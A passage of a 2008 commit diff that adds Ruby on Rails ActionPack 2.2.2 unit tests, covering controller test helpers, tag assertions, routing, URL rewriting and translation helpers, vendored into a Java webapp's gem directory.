+      response.content_type = "application/xml"
+      render :text => <<XML
+<?xml version="1.0" encoding="UTF-8"?>
+<root>
+  <area>area is an empty tag in HTML, raising an error if not in xml mode</area>
+</root>
+XML
+    end
+
+    def test_only_one_param
+      render :text => (params[:left] && params[:right]) ? "EEP, Both here!" : "OK"
+    end
+
+    def test_remote_addr
+      render :text => (request.remote_addr || "not specified")
+    end
+
+    def test_file_upload
+      render :text => params[:file].size
+    end
+
+    def test_send_file
+      send_file(File.expand_path(__FILE__))
+    end
+
+    def redirect_to_same_controller
+      redirect_to :controller => 'test', :action => 'test_uri', :id => 5
+    end
+
+    def redirect_to_different_controller
+      redirect_to :controller => 'fail', :id => 5
+    end
+
+    def create
+      head :created, :location => 'created resource'
+    end
+
+    private
+      def rescue_action(e)
+        raise e
+      end
+
+      def generate_url(opts)
+        url_for(opts.merge(:action => "test_uri"))
+      end
+  end
+
+  def setup
+    @controller = TestController.new
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    ActionController::Routing.use_controllers! %w(content admin/user test_test/test)
+    ActionController::Routing::Routes.load_routes!
+  end
+
+  def teardown
+    ActionController::Routing::Routes.reload
+  end
+
+  def test_raw_post_handling
+    params = {:page => {:name => 'page name'}, 'some key' => 123}
+    post :render_raw_post, params.dup
+
+    assert_equal params.to_query, @response.body
+  end
+
+  def test_body_stream
+    params = { :page => { :name => 'page name' }, 'some key' => 123 }
+
+    post :render_body, params.dup
+
+    assert_equal params.to_query, @response.body
+  end
+
+  def test_process_without_flash
+    process :set_flash
+    assert_equal '><', flash['test']
+  end
+
+  def test_process_with_flash
+    process :set_flash, nil, nil, { "test" => "value" }
+    assert_equal '>value<', flash['test']
+  end
+
+  def test_process_with_flash_now
+    process :set_flash_now, nil, nil, { "test_now" => "value_now" }
+    assert_equal '>value_now<', flash['test_now']
+  end
+
+  def test_process_with_session
+    process :set_session
+    assert_equal 'A wonder', session['string'], "A value stored in the session should be available by string key"
+    assert_equal 'A wonder', session[:string], "Test session hash should allow indifferent access"
+    assert_equal 'it works', session['symbol'], "Test session hash should allow indifferent access"
+    assert_equal 'it works', session[:symbol], "Test session hash should allow indifferent access"
+  end
+
+  def test_process_with_session_arg
+    process :no_op, nil, { 'string' => 'value1', :symbol => 'value2' }
+    assert_equal 'value1', session['string']
+    assert_equal 'value1', session[:string]
+    assert_equal 'value2', session['symbol']
+    assert_equal 'value2', session[:symbol]
+  end
+
+  def test_process_with_request_uri_with_no_params
+    process :test_uri
+    assert_equal "/test_test/test/test_uri", @response.body
+  end
+
+  def test_process_with_request_uri_with_params
+    process :test_uri, :id => 7
+    assert_equal "/test_test/test/test_uri/7", @response.body
+  end
+
+  def test_process_with_request_uri_with_params_with_explicit_uri
+    @request.set_REQUEST_URI "/explicit/uri"
+    process :test_uri, :id => 7
+    assert_equal "/explicit/uri", @response.body
+  end
+
+  def test_process_with_query_string
+    process :test_query_string, :q => 'test'
+    assert_equal "q=test", @response.body
+  end
+
+  def test_process_with_query_string_with_explicit_uri
+    @request.set_REQUEST_URI "/explicit/uri?q=test?extra=question"
+    process :test_query_string
+    assert_equal "q=test?extra=question", @response.body
+  end
+
+  def test_multiple_calls
+    process :test_only_one_param, :left => true
+    assert_equal "OK", @response.body
+    process :test_only_one_param, :right => true
+    assert_equal "OK", @response.body
+  end
+
+  def test_assert_tag_tag
+    process :test_html_output
+
+    # there is a 'form' tag
+    assert_tag :tag => 'form'
+    # there is not an 'hr' tag
+    assert_no_tag :tag => 'hr'
+  end
+
+  def test_assert_tag_attributes
+    process :test_html_output
+
+    # there is a tag with an 'id' of 'bar'
+    assert_tag :attributes => { :id => "bar" }
+    # there is no tag with a 'name' of 'baz'
+    assert_no_tag :attributes => { :name => "baz" }
+  end
+
+  def test_assert_tag_parent
+    process :test_html_output
+
+    # there is a tag with a parent 'form' tag
+    assert_tag :parent => { :tag => "form" }
+    # there is no tag with a parent of 'input'
+    assert_no_tag :parent => { :tag => "input" }
+  end
+
+  def test_assert_tag_child
+    process :test_html_output
+
+    # there is a tag with a child 'input' tag
+    assert_tag :child => { :tag => "input" }
+    # there is no tag with a child 'strong' tag
+    assert_no_tag :child => { :tag => "strong" }
+  end
+
+  def test_assert_tag_ancestor
+    process :test_html_output
+
+    # there is a 'li' tag with an ancestor having an id of 'foo'
+    assert_tag :ancestor => { :attributes => { :id => "foo" } }, :tag => "li"
+    # there is no tag of any kind with an ancestor having an href matching 'foo'
+    assert_no_tag :ancestor => { :attributes => { :href => /foo/ } }
+  end
+
+  def test_assert_tag_descendant
+    process :test_html_output
+
+    # there is a tag with a descendant 'li' tag
+    assert_tag :descendant => { :tag => "li" }
+    # there is no tag with a descendant 'html' tag
+    assert_no_tag :descendant => { :tag => "html" }
+  end
+
+  def test_assert_tag_sibling
+    process :test_html_output
+
+    # there is a tag with a sibling of class 'item'
+    assert_tag :sibling => { :attributes => { :class => "item" } }
+    # there is no tag with a sibling 'ul' tag
+    assert_no_tag :sibling => { :tag => "ul" }
+  end
+
+  def test_assert_tag_after
+    process :test_html_output
+
+    # there is a tag following a sibling 'div' tag
+    assert_tag :after => { :tag => "div" }
+    # there is no tag following a sibling tag with id 'bar'
+    assert_no_tag :after => { :attributes => { :id => "bar" } }
+  end
+
+  def test_assert_tag_before
+    process :test_html_output
+
+    # there is a tag preceding a tag with id 'bar'
+    assert_tag :before => { :attributes => { :id => "bar" } }
+    # there is no tag preceding a 'form' tag
+    assert_no_tag :before => { :tag => "form" }
+  end
+
+  def test_assert_tag_children_count
+    process :test_html_output
+
+    # there is a tag with 2 children
+    assert_tag :children => { :count => 2 }
+    # in particular, there is a <ul> tag with two children (a nameless pair of <li>s)
+    assert_tag :tag => 'ul', :children => { :count => 2 }
+    # there is no tag with 4 children
+    assert_no_tag :children => { :count => 4 }
+  end
+
+  def test_assert_tag_children_less_than
+    process :test_html_output
+
+    # there is a tag with less than 5 children
+    assert_tag :children => { :less_than => 5 }
+    # there is no 'ul' tag with less than 2 children
+    assert_no_tag :children => { :less_than => 2 }, :tag => "ul"
+  end
+
+  def test_assert_tag_children_greater_than
+    process :test_html_output
+
+    # there is a 'body' tag with more than 1 children
+    assert_tag :children => { :greater_than => 1 }, :tag => "body"
+    # there is no tag with more than 10 children
+    assert_no_tag :children => { :greater_than => 10 }
+  end
+
+  def test_assert_tag_children_only
+    process :test_html_output
+
+    # there is a tag containing only one child with an id of 'foo'
+    assert_tag :children => { :count => 1,
+                              :only => { :attributes => { :id => "foo" } } }
+    # there is no tag containing only one 'li' child
+    assert_no_tag :children => { :count => 1, :only => { :tag => "li" } }
+  end
+
+  def test_assert_tag_content
+    process :test_html_output
+
+    # the output contains the string "Name"
+    assert_tag :content => /Name/
+    # the output does not contain the string "test"
+    assert_no_tag :content => /test/
+  end
+
+  def test_assert_tag_multiple
+    process :test_html_output
+
+    # there is a 'div', id='bar', with an immediate child whose 'action'
+    # attribute matches the regexp /somewhere/.
+    assert_tag :tag => "div", :attributes => { :id => "bar" },
+               :child => { :attributes => { :action => /somewhere/ } }
+
+    # there is no 'div', id='foo', with a 'ul' child with more than
+    # 2 "li" children.
+    assert_no_tag :tag => "div", :attributes => { :id => "foo" },
+                  :child => {
+                    :tag => "ul",
+                    :children => { :greater_than => 2,
+                                   :only => { :tag => "li" } } }
+  end
+
+  def test_assert_tag_children_without_content
+    process :test_html_output
+
+    # there is a form tag with an 'input' child which is a self closing tag
+    assert_tag :tag => "form",
+      :children => { :count => 1,
+        :only => { :tag => "input" } }
+
+    # the body tag has an 'a' child which in turn has an 'img' child
+    assert_tag :tag => "body",
+      :children => { :count => 1,
+        :only => { :tag => "a",
+          :children => { :count => 1,
+            :only => { :tag => "img" } } } }
+  end
+
+  def test_should_not_impose_childless_html_tags_in_xml
+    process :test_xml_output
+
+    begin
+      $stderr = StringIO.new
+      assert_select 'area' #This will cause a warning if content is processed as HTML
+      $stderr.rewind && err = $stderr.read
+    ensure
+      $stderr = STDERR
+    end
+
+    assert err.empty?
+  end
+
+  def test_assert_tag_attribute_matching
+    @response.body = '<input type="text" name="my_name">'
+    assert_tag :tag => 'input',
+                 :attributes => { :name => /my/, :type => 'text' }
+    assert_no_tag :tag => 'input',
+                 :attributes => { :name => 'my', :type => 'text' }
+    assert_no_tag :tag => 'input',
+                 :attributes => { :name => /^my$/, :type => 'text' }
+  end
+
+  def test_assert_tag_content_matching
+    @response.body = "<p>hello world</p>"
+    assert_tag :tag => "p", :content => "hello world"
+    assert_tag :tag => "p", :content => /hello/
+    assert_no_tag :tag => "p", :content => "hello"
+  end
+
+  def test_assert_generates
+    assert_generates 'controller/action/5', :controller => 'controller', :action => 'action', :id => '5'
+    assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action"}
+    assert_generates 'controller/action/5', {:controller => "controller", :action => "action", :id => "5", :name => "bob"}, {}, {:name => "bob"}
+    assert_generates 'controller/action/7', {:id => "7", :name => "bob"}, {:controller => "controller", :action => "action"}, {:name => "bob"}
+    assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action", :name => "bob"}, {}
+  end
+
+  def test_assert_routing
+    assert_routing 'content', :controller => 'content', :action => 'index'
+  end
+
+  def test_assert_routing_with_method
+    with_routing do |set|
+      set.draw { |map| map.resources(:content) }
+      assert_routing({ :method => 'post', :path => 'content' }, { :controller => 'content', :action => 'create' })
+    end
+  end
+
+  def test_assert_routing_in_module
+    assert_routing 'admin/user', :controller => 'admin/user', :action => 'index'
+  end
+
+  def test_params_passing
+    get :test_params, :page => {:name => "Page name", :month => '4', :year => '2004', :day => '6'}
+    parsed_params = eval(@response.body)
+    assert_equal(
+      {'controller' => 'test_test/test', 'action' => 'test_params',
+       'page' => {'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6'}},
+      parsed_params
+    )
+  end
+
+  def test_id_converted_to_string
+    get :test_params, :id => 20, :foo => Object.new
+    assert_kind_of String, @request.path_parameters['id']
+  end
+
+  def test_array_path_parameter_handled_properly
+    with_routing do |set|
+      set.draw do |map|
+        map.connect 'file/*path', :controller => 'test_test/test', :action => 'test_params'
+        map.connect ':controller/:action/:id'
+      end
+
+      get :test_params, :path => ['hello', 'world']
+      assert_equal ['hello', 'world'], @request.path_parameters['path']
+      assert_equal 'hello/world', @request.path_parameters['path'].to_s
+    end
+  end
+
+  def test_assert_realistic_path_parameters
+    get :test_params, :id => 20, :foo => Object.new
+
+    # All elements of path_parameters should use string keys
+    @request.path_parameters.keys.each do |key|
+      assert_kind_of String, key
+    end
+  end
+
+  def test_with_routing_places_routes_back
+    assert ActionController::Routing::Routes
+    routes_id = ActionController::Routing::Routes.object_id
+
+    begin
+      with_routing { raise 'fail' }
+      fail 'Should not be here.'
+    rescue RuntimeError
+    end
+
+    assert ActionController::Routing::Routes
+    assert_equal routes_id, ActionController::Routing::Routes.object_id
+  end
+
+  def test_remote_addr
+    get :test_remote_addr
+    assert_equal "0.0.0.0", @response.body
+
+    @request.remote_addr = "192.0.0.1"
+    get :test_remote_addr
+    assert_equal "192.0.0.1", @response.body
+  end
+
+  def test_header_properly_reset_after_remote_http_request
+    xhr :get, :test_params
+    assert_nil @request.env['HTTP_X_REQUESTED_WITH']
+  end
+
+  def test_header_properly_reset_after_get_request
+    get :test_params
+    @request.recycle!
+    assert_nil @request.instance_variable_get("@request_method")
+  end
+
+  %w(controller response request).each do |variable|
+    %w(get post put delete head process).each do |method|
+      define_method("test_#{variable}_missing_for_#{method}_raises_error") do
+        remove_instance_variable "@#{variable}"
+        begin
+          send(method, :test_remote_addr)
+          assert false, "expected RuntimeError, got nothing"
+        rescue RuntimeError => error
+          assert true
+          assert_match %r{@#{variable} is nil}, error.message
+        rescue => error
+          assert false, "expected RuntimeError, got #{error.class}"
+        end
+      end
+    end
+  end
+
+  FILES_DIR = File.dirname(__FILE__) + '/../fixtures/multipart'
+
+  if RUBY_VERSION < '1.9'
+    READ_BINARY = 'rb'
+    READ_PLAIN = 'r'
+  else
+    READ_BINARY = 'rb:binary'
+    READ_PLAIN = 'r:binary'
+  end
+
+  def test_test_uploaded_file
+    filename = 'mona_lisa.jpg'
+    path = "#{FILES_DIR}/#{filename}"
+    content_type = 'image/png'
+    expected = File.read(path)
+    expected.force_encoding(Encoding::BINARY) if expected.respond_to?(:force_encoding)
+
+    file = ActionController::TestUploadedFile.new(path, content_type)
+    assert_equal filename, file.original_filename
+    assert_equal content_type, file.content_type
+    assert_equal file.path, file.local_path
+    assert_equal expected, file.read
+
+    new_content_type = "new content_type"
+    file.content_type = new_content_type
+    assert_equal new_content_type, file.content_type
+
+  end
+
+  def test_test_uploaded_file_with_binary
+    filename = 'mona_lisa.jpg'
+    path = "#{FILES_DIR}/#{filename}"
+    content_type = 'image/png'
+
+    binary_uploaded_file = ActionController::TestUploadedFile.new(path, content_type, :binary)
+    assert_equal File.open(path, READ_BINARY).read, binary_uploaded_file.read
+
+    plain_uploaded_file = ActionController::TestUploadedFile.new(path, content_type)
+    assert_equal File.open(path, READ_PLAIN).read, plain_uploaded_file.read
+  end
+
+  def test_fixture_file_upload_with_binary
+    filename = 'mona_lisa.jpg'
+    path = "#{FILES_DIR}/#{filename}"
+    content_type = 'image/jpg'
+
+    binary_file_upload = fixture_file_upload(path, content_type, :binary)
+    assert_equal File.open(path, READ_BINARY).read, binary_file_upload.read
+
+    plain_file_upload = fixture_file_upload(path, content_type)
+    assert_equal File.open(path, READ_PLAIN).read, plain_file_upload.read
+  end
+
+  def test_fixture_file_upload
+    post :test_file_upload, :file => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")
+    assert_equal '159528', @response.body
+  end
+
+  def test_test_uploaded_file_exception_when_file_doesnt_exist
+    assert_raise(RuntimeError) { ActionController::TestUploadedFile.new('non_existent_file') }
+  end
+
+  def test_redirect_url_only_cares_about_location_header
+    get :create
+    assert_response :created
+
+    # Redirect url doesn't care that it wasn't a :redirect response.
+    assert_equal 'created resource', @response.redirect_url
+    assert_equal @response.redirect_url, redirect_to_url
+
+    # Must be a :redirect response.
+    assert_raise(Test::Unit::AssertionFailedError) do
+      assert_redirected_to 'created resource'
+    end
+  end
+
+  def test_binary_content_works_with_send_file
+    get :test_send_file
+    assert_nothing_raised(NoMethodError) { @response.binary_content }
+  end
+
+  protected
+    def with_foo_routing
+      with_routing do |set|
+        set.draw do |map|
+          map.generate_url 'foo', :controller => 'test'
+          map.connect      ':controller/:action/:id'
+        end
+        yield set
+      end
+    end
+end
+
+class CleanBacktraceTest < Test::Unit::TestCase
+  def test_should_reraise_the_same_object
+    exception = Test::Unit::AssertionFailedError.new('message')
+    clean_backtrace { raise exception }
+  rescue Exception => caught
+    assert_equal exception.object_id, caught.object_id
+    assert_equal exception.message, caught.message
+  end
+
+  def test_should_clean_assertion_lines_from_backtrace
+    path = File.expand_path("#{File.dirname(__FILE__)}/../../lib/action_controller")
+    exception = Test::Unit::AssertionFailedError.new('message')
+    exception.set_backtrace ["#{path}/abc", "#{path}/assertions/def"]
+    clean_backtrace { raise exception }
+  rescue Exception => caught
+    assert_equal ["#{path}/abc"], caught.backtrace
+  end
+
+  def test_should_only_clean_assertion_failure_errors
+    clean_backtrace do
+      raise "can't touch this", [File.expand_path("#{File.dirname(__FILE__)}/../../lib/action_controller/assertions/abc")]
+    end
+  rescue => caught
+    assert !caught.backtrace.empty?
+  end
+end
+
+class InferringClassNameTest < Test::Unit::TestCase
+  def test_determine_controller_class
+    assert_equal ContentController, determine_class("ContentControllerTest")
+  end
+
+  def test_determine_controller_class_with_nonsense_name
+    assert_raises ActionController::NonInferrableControllerError do
+      determine_class("HelloGoodBye")
+    end
+  end
+
+  def test_determine_controller_class_with_sensible_name_where_no_controller_exists
+    assert_raises ActionController::NonInferrableControllerError do
+      determine_class("NoControllerWithThisNameTest")
+    end
+  end
+
+  private
+    def determine_class(name)
+      ActionController::TestCase.determine_default_controller_class(name)
+    end
+end
+
+class CrazyNameTest < ActionController::TestCase
+  tests ContentController
+
+  def test_controller_class_can_be_set_manually_not_just_inferred
+    assert_equal ContentController, self.class.controller_class
+  end
+end
+
+class NamedRoutesControllerTest < ActionController::TestCase
+  tests ContentController
+
+  def test_should_be_able_to_use_named_routes_before_a_request_is_done
+    with_routing do |set|
+      set.draw { |map| map.resources :contents }
+      assert_equal 'http://test.host/contents/new', new_content_url
+      assert_equal 'http://test.host/contents/1', content_url(:id => 1)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/translation_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/translation_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/translation_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,26 @@
+require 'abstract_unit'
+
+# class TranslatingController < ActionController::Base
+# end
+
+class TranslationControllerTest < Test::Unit::TestCase
+  def setup
+    @controller = ActionController::Base.new
+  end
+  
+  def test_action_controller_base_responds_to_translate
+    assert @controller.respond_to?(:translate)
+  end
+  
+  def test_action_controller_base_responds_to_t
+    assert @controller.respond_to?(:t)
+  end
+  
+  def test_action_controller_base_responds_to_localize
+    assert @controller.respond_to?(:localize)
+  end
+  
+  def test_action_controller_base_responds_to_l
+    assert @controller.respond_to?(:l)
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/url_rewriter_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/url_rewriter_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/url_rewriter_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,309 @@
+require 'abstract_unit'
+
+ActionController::UrlRewriter
+
+class UrlRewriterTests < Test::Unit::TestCase
+  def setup
+    @request = ActionController::TestRequest.new
+    @params = {}
+    @rewriter = ActionController::UrlRewriter.new(@request, @params)
+  end
+
+  def test_port
+    assert_equal('http://test.host:1271/c/a/i',
+      @rewriter.rewrite(:controller => 'c', :action => 'a', :id => 'i', :port => 1271)
+    )
+  end
+
+  def test_protocol_with_and_without_separator
+    assert_equal('https://test.host/c/a/i',
+      @rewriter.rewrite(:protocol => 'https', :controller => 'c', :action => 'a', :id => 'i')
+    )
+
+    assert_equal('https://test.host/c/a/i',
+      @rewriter.rewrite(:protocol => 'https://', :controller => 'c', :action => 'a', :id => 'i')
+    )
+  end
+
+  def test_user_name_and_password
+    assert_equal(
+      'http://david:[email protected]/c/a/i',
+      @rewriter.rewrite(:user => "david", :password => "secret", :controller => 'c', :action => 'a', :id => 'i')
+    )
+  end
+
+  def test_user_name_and_password_with_escape_codes
+    assert_equal(
+      'http://openid.aol.com%2Fnextangler:one+two%[email protected]/c/a/i',
+      @rewriter.rewrite(:user => "openid.aol.com/nextangler", :password => "one two?", :controller => 'c', :action => 'a', :id => 'i')
+    )
+  end
+
+  def test_anchor
+    assert_equal(
+      'http://test.host/c/a/i#anchor',
+      @rewriter.rewrite(:controller => 'c', :action => 'a', :id => 'i', :anchor => 'anchor')
+    )
+  end
+
+  def test_overwrite_params
+    @params[:controller] = 'hi'
+    @params[:action] = 'bye'
+    @params[:id] = '2'
+
+    assert_equal '/hi/hi/2', @rewriter.rewrite(:only_path => true, :overwrite_params => {:action => 'hi'})
+    u = @rewriter.rewrite(:only_path => false, :overwrite_params => {:action => 'hi'})
+    assert_match %r(/hi/hi/2$), u
+  end
+
+  def test_overwrite_removes_original
+    @params[:controller] = 'search'
+    @params[:action] = 'list'
+    @params[:list_page] = 1
+
+    assert_equal '/search/list?list_page=2', @rewriter.rewrite(:only_path => true, :overwrite_params => {"list_page" => 2})
+    u = @rewriter.rewrite(:only_path => false, :overwrite_params => {:list_page => 2})
+    assert_equal 'http://test.host/search/list?list_page=2', u
+  end
+
+  def test_to_str
+    @params[:controller] = 'hi'
+    @params[:action] = 'bye'
+    @request.parameters[:id] = '2'
+
+    assert_equal 'http://, test.host, /, hi, bye, {"id"=>"2"}', @rewriter.to_str
+  end
+
+  def test_trailing_slash
+    options = {:controller => 'foo', :action => 'bar', :id => '3', :only_path => true}
+    assert_equal '/foo/bar/3', @rewriter.rewrite(options)
+    assert_equal '/foo/bar/3?query=string', @rewriter.rewrite(options.merge({:query => 'string'}))
+    options.update({:trailing_slash => true})
+    assert_equal '/foo/bar/3/', @rewriter.rewrite(options)
+    options.update({:query => 'string'})
+    assert_equal '/foo/bar/3/?query=string', @rewriter.rewrite(options)
+  end
+end
+
+class UrlWriterTests < Test::Unit::TestCase
+
+  class W
+    include ActionController::UrlWriter
+  end
+
+  def teardown
+    W.default_url_options.clear
+  end
+
+  def add_host!
+    W.default_url_options[:host] = 'www.basecamphq.com'
+  end
+
+  def test_exception_is_thrown_without_host
+    assert_raises RuntimeError do
+      W.new.url_for :controller => 'c', :action => 'a', :id => 'i'
+    end
+  end
+
+  def test_anchor
+    assert_equal('/c/a#anchor',
+      W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => 'anchor')
+    )
+  end
+
+  def test_default_host
+    add_host!
+    assert_equal('http://www.basecamphq.com/c/a/i',
+      W.new.url_for(:controller => 'c', :action => 'a', :id => 'i')
+    )
+  end
+
+  def test_host_may_be_overridden
+    add_host!
+    assert_equal('http://37signals.basecamphq.com/c/a/i',
+      W.new.url_for(:host => '37signals.basecamphq.com', :controller => 'c', :action => 'a', :id => 'i')
+    )
+  end
+
+  def test_port
+    add_host!
+    assert_equal('http://www.basecamphq.com:3000/c/a/i',
+      W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :port => 3000)
+    )
+  end
+
+  def test_protocol
+    add_host!
+    assert_equal('https://www.basecamphq.com/c/a/i',
+      W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https')
+    )
+  end
+
+  def test_protocol_with_and_without_separator
+    add_host!
+    assert_equal('https://www.basecamphq.com/c/a/i',
+      W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https')
+    )
+    assert_equal('https://www.basecamphq.com/c/a/i',
+      W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https://')
+    )
+  end
+
+  def test_trailing_slash
+    add_host!
+    options = {:controller => 'foo', :trailing_slash => true, :action => 'bar', :id => '33'}
+    assert_equal('http://www.basecamphq.com/foo/bar/33/', W.new.url_for(options) )
+  end
+
+  def test_trailing_slash_with_protocol
+    add_host!
+    options = { :trailing_slash => true,:protocol => 'https', :controller => 'foo', :action => 'bar', :id => '33'}
+    assert_equal('https://www.basecamphq.com/foo/bar/33/', W.new.url_for(options) )
+    assert_equal 'https://www.basecamphq.com/foo/bar/33/?query=string', W.new.url_for(options.merge({:query => 'string'}))
+  end
+
+  def test_trailing_slash_with_only_path
+    options = {:controller => 'foo', :trailing_slash => true}
+    assert_equal '/foo/', W.new.url_for(options.merge({:only_path => true}))
+    options.update({:action => 'bar', :id => '33'})
+    assert_equal '/foo/bar/33/', W.new.url_for(options.merge({:only_path => true}))
+    assert_equal '/foo/bar/33/?query=string', W.new.url_for(options.merge({:query => 'string',:only_path => true}))
+  end
+
+  def test_trailing_slash_with_anchor
+    options = {:trailing_slash => true, :controller => 'foo', :action => 'bar', :id => '33', :only_path => true, :anchor=> 'chapter7'}
+    assert_equal '/foo/bar/33/#chapter7', W.new.url_for(options)
+    assert_equal '/foo/bar/33/?query=string#chapter7', W.new.url_for(options.merge({:query => 'string'}))
+  end
+
+  def test_trailing_slash_with_params
+    url = W.new.url_for(:trailing_slash => true, :only_path => true, :controller => 'cont', :action => 'act', :p1 => 'cafe', :p2 => 'link')
+    params = extract_params(url)
+    assert_equal params[0], { :p1 => 'cafe' }.to_query
+    assert_equal params[1], { :p2 => 'link' }.to_query
+  end
+
+  def test_relative_url_root_is_respected
+    orig_relative_url_root = ActionController::Base.relative_url_root
+    ActionController::Base.relative_url_root = '/subdir'
+
+    add_host!
+    assert_equal('https://www.basecamphq.com/subdir/c/a/i',
+      W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https')
+    )
+  ensure
+    ActionController::Base.relative_url_root = orig_relative_url_root
+  end
+
+  def test_named_routes
+    ActionController::Routing::Routes.draw do |map|
+      map.no_args '/this/is/verbose', :controller => 'home', :action => 'index'
+      map.home '/home/sweet/home/:user', :controller => 'home', :action => 'index'
+      map.connect ':controller/:action/:id'
+    end
+
+    # We need to create a new class in order to install the new named route.
+    kls = Class.new { include ActionController::UrlWriter }
+    controller = kls.new
+    assert controller.respond_to?(:home_url)
+    assert_equal 'http://www.basecamphq.com/home/sweet/home/again',
+      controller.send(:home_url, :host => 'www.basecamphq.com', :user => 'again')
+
+    assert_equal("/home/sweet/home/alabama", controller.send(:home_path, :user => 'alabama', :host => 'unused'))
+    assert_equal("http://www.basecamphq.com/home/sweet/home/alabama", controller.send(:home_url, :user => 'alabama', :host => 'www.basecamphq.com'))
+    assert_equal("http://www.basecamphq.com/this/is/verbose", controller.send(:no_args_url, :host=>'www.basecamphq.com'))
+  ensure
+    ActionController::Routing::Routes.load!
+  end
+
+  def test_relative_url_root_is_respected_for_named_routes
+    orig_relative_url_root = ActionController::Base.relative_url_root
+    ActionController::Base.relative_url_root = '/subdir'
+
+    ActionController::Routing::Routes.draw do |map|
+      map.home '/home/sweet/home/:user', :controller => 'home', :action => 'index'
+    end
+
+    kls = Class.new { include ActionController::UrlWriter }
+    controller = kls.new
+
+    assert_equal 'http://www.basecamphq.com/subdir/home/sweet/home/again',
+      controller.send(:home_url, :host => 'www.basecamphq.com', :user => 'again')
+  ensure
+    ActionController::Routing::Routes.load!
+    ActionController::Base.relative_url_root = orig_relative_url_root
+  end
+
+  def test_only_path
+    ActionController::Routing::Routes.draw do |map|
+      map.home '/home/sweet/home/:user', :controller => 'home', :action => 'index'
+      map.connect ':controller/:action/:id'
+    end
+
+    # We need to create a new class in order to install the new named route.
+    kls = Class.new { include ActionController::UrlWriter }
+    controller = kls.new
+    assert controller.respond_to?(:home_url)
+    assert_equal '/brave/new/world',
+      controller.send(:url_for, :controller => 'brave', :action => 'new', :id => 'world', :only_path => true)
+
+    assert_equal("/home/sweet/home/alabama", controller.send(:home_url, :user => 'alabama', :host => 'unused', :only_path => true))
+    assert_equal("/home/sweet/home/alabama", controller.send(:home_path, 'alabama'))
+  ensure
+    ActionController::Routing::Routes.load!
+  end
+
+  def test_one_parameter
+    assert_equal('/c/a?param=val',
+      W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :param => 'val')
+    )
+  end
+
+  def test_two_parameters
+    url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :p1 => 'X1', :p2 => 'Y2')
+    params = extract_params(url)
+    assert_equal params[0], { :p1 => 'X1' }.to_query
+    assert_equal params[1], { :p2 => 'Y2' }.to_query
+  end
+
+  def test_hash_parameter
+    url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => {:name => 'Bob', :category => 'prof'})
+    params = extract_params(url)
+    assert_equal params[0], { 'query[category]' => 'prof' }.to_query
+    assert_equal params[1], { 'query[name]'     => 'Bob'  }.to_query
+  end
+
+  def test_array_parameter
+    url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => ['Bob', 'prof'])
+    params = extract_params(url)
+    assert_equal params[0], { 'query[]' => 'Bob'  }.to_query
+    assert_equal params[1], { 'query[]' => 'prof' }.to_query
+  end
+
+  def test_hash_recursive_parameters
+    url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => {:person => {:name => 'Bob', :position => 'prof'}, :hobby => 'piercing'})
+    params = extract_params(url)
+    assert_equal params[0], { 'query[hobby]'            => 'piercing' }.to_query
+    assert_equal params[1], { 'query[person][name]'     => 'Bob'      }.to_query
+    assert_equal params[2], { 'query[person][position]' => 'prof'     }.to_query
+  end
+
+  def test_hash_recursive_and_array_parameters
+    url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :id => 101, :query => {:person => {:name => 'Bob', :position => ['prof', 'art director']}, :hobby => 'piercing'})
+    assert_match %r(^/c/a/101), url
+    params = extract_params(url)
+    assert_equal params[0], { 'query[hobby]'              => 'piercing'     }.to_query
+    assert_equal params[1], { 'query[person][name]'       => 'Bob'          }.to_query
+    assert_equal params[2], { 'query[person][position][]' => 'prof'         }.to_query
+    assert_equal params[3], { 'query[person][position][]' => 'art director' }.to_query
+  end
+
+  def test_path_generation_for_symbol_parameter_keys
+    assert_generates("/image", :controller=> :image)
+  end
+
+  private
+    def extract_params(url)
+      url.split('?', 2).last.split('&')
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/verification_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/verification_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/verification_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,270 @@
+require 'abstract_unit'
+
+class VerificationTest < Test::Unit::TestCase
+  class TestController < ActionController::Base
+    verify :only => :guarded_one, :params => "one",
+           :add_flash => { :error => 'unguarded' },
+           :redirect_to => { :action => "unguarded" }
+
+    verify :only => :guarded_two, :params => %w( one two ),
+           :redirect_to => { :action => "unguarded" }
+
+    verify :only => :guarded_with_flash, :params => "one",
+           :add_flash => { :notice => "prereqs failed" },
+           :redirect_to => { :action => "unguarded" }
+
+    verify :only => :guarded_in_session, :session => "one",
